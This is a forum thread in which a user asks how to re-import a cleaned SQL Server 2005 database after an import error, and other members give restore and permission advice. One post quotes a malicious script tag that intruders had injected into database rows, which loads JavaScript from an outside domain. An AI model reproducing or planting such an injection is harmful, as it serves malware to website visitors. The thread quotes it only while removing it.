# Database Discussions > Microsoft SQL Server 2005 >  Database Import Error

## karubum

I am getting an error during importing of database using Web Data Administrator as follows:

There was an error importing the database. The status of import is unknown. Incorrect syntax near ">>".

Well, I have checked my database and there is no any ">>" syntax at all. 

Then, I have tested the system by exporting current database from system and importing without openning it. I am getting same error!

Can I get help?

----------


## skhanal

Is it related to SQL Server?. Never heard of Web Data Administrator.

----------


## karubum

Yes, Microsoft SQL Server 2005 has been used and for web application "Web Data administrator" is used. "Web Data Administrator" is a program as "PhpMyAdmin". You are able to export / import database.

My problem in here is during the import database from my PC to Web Data Administrator, I am getting syntax error ">>";on the other hand, I do not have such a syntax in my database which I am trying to import.

Is there any other way I could import my database into the system?

----------


## rmiao

Where do you like to import db to?

----------


## karubum

Well, I do not have that much information in MS SQL. 

I have a sql database named "DB080701104333P" in MSSQL 2005. And I am trying to upload  same database "DB080701104333P" with corrected one from my PC to MSSQL 2005. 

I have tryied it by using "Web Data Administrator", but I am getting error. Therefore, I am looking for an alternative solution.

----------


## rmiao

To overwrite db on server, you can backup db on your pc then restore it on sql2k5 server.
To copy some data only, you can try with ssis package.

----------


## karubum

I have exported database from MS SQL Server 2005 by using "Web Data Administrator" web application. I opened it and cleaned / removed unwanted injected scripts by intruders.

Now, I want to upload this clean database into the MS SQL Server 2005.

I have installed "SQL Server Management Studio Express" but I could not find upload option from PC to server.

Could you direct me how to do it?

----------


## rmiao

Which edition of sql2k5 do you have? Express edition doesn't come with data import tool, can try with bcp instead. Or try with regular ssms.

----------


## karubum

Can I upload my database "final.sql" by using Microsoft Visual Studio 2010?

----------


## karubum

I have exported database "final.sql" into my pc and opened it by Microsoft Visual Studio 2010 Professional.

My scripts inside of " final.sql" are such as:


/* Generated by Web Data Administrator on 25.10.2011 08:02:08 */

/* Options selected: database drop-commands table-schema table-data stored-procedures comments  */

/****** Object:  Database DB080701104333P0    Script Date: 25.10.2011 08:02:08 ******/
IF EXISTS (SELECT name FROM master.dbo.sysdatabases WHERE name = N'DB080701104333P0')
	DROP DATABASE [DB080701104333P0]
GO

CREATE DATABASE [DB080701104333P0]  ON (NAME = N'DB080701104333P0Data', FILENAME = N'D:\MSSQL\DATA\DB080701104333P0Data.mdf' , SIZE = 4, MAXSIZE = 50, FILEGROWTH = 1) LOG ON (NAME = N'DB080701104333P0Log', FILENAME = N'D:\MSSQL\DATA\DB080701104333P0Log.ldf' , SIZE = 1, MAXSIZE = 25, FILEGROWTH = 10%)
 COLLATE Turkish_CI_AS
GO

exec sp_dboption N'DB080701104333P0', N'autoclose', N'false'
GO
.....


Right after 

INSERT [ILAN] ([ID], [URUN_ADI_TR], [URUN_ADI_EN], [URETIM_YILI], [TEKNIK_OZ_TR], [TEKNIK_OZ_EN], [AKSESUAR_TR], [AKSESUAR_EN], [ALTKATID], [UYEID], [OLUSTURMA_TARIHI], [GUNCELLEME_TARIHI], [ILAN_BASTAR], [ILAN_BITTAR], [TIKLAMA], [ILAN_ODEME_ID], [DURUM], [ENG_GOSTERIM], [TRGOSTERIM]) VALUES (37, 'GOODWAY BH-65 ÇUBUK SÜRÜCÜ EN 


I have found some injected scripts in it:

</title><script src=http://nbnjki.com/urchin.js ></script>',


I have removed them from "final.sql" and want to upload it to the server back.

I am able to connect to my database by Microsoft Visual Studio 2010 Professional. But I do not know how to upload "final.sql" back to the server.

----------


## rmiao

Open query window then execute that sql script.

----------


## karubum

I have opened query window then executed that sql script.

I am getting the following error:

Msg 3702, Level 16, State 3, Line 7
Cannot drop database "final" because it is currently in use.
Msg 262, Level 14, State 1, Line 2
CREATE DATABASE permission denied in database 'master'.

Which steps I should take?

----------


## rmiao

You need connect to sql with sysadmin rights. For the db, can leave it and modify your script to create db with new name. After closing user sessions to existing db, you can either drop it or rename it. Then rename new db to final.

----------


## karubum

Thank you very much. 

I had "DROP" and "CREATE" commands in my sql, and I have removed them from script. Then, I have execute it by using Microsoft SQL Management Studio Express. It works!

----------


## sandeeppendru

one of the problem with DataBase replication http://www.youtube.com/watch?v=R-WceyM7BD0

----------


## rmiao

Nothing to do with replication here.

----------

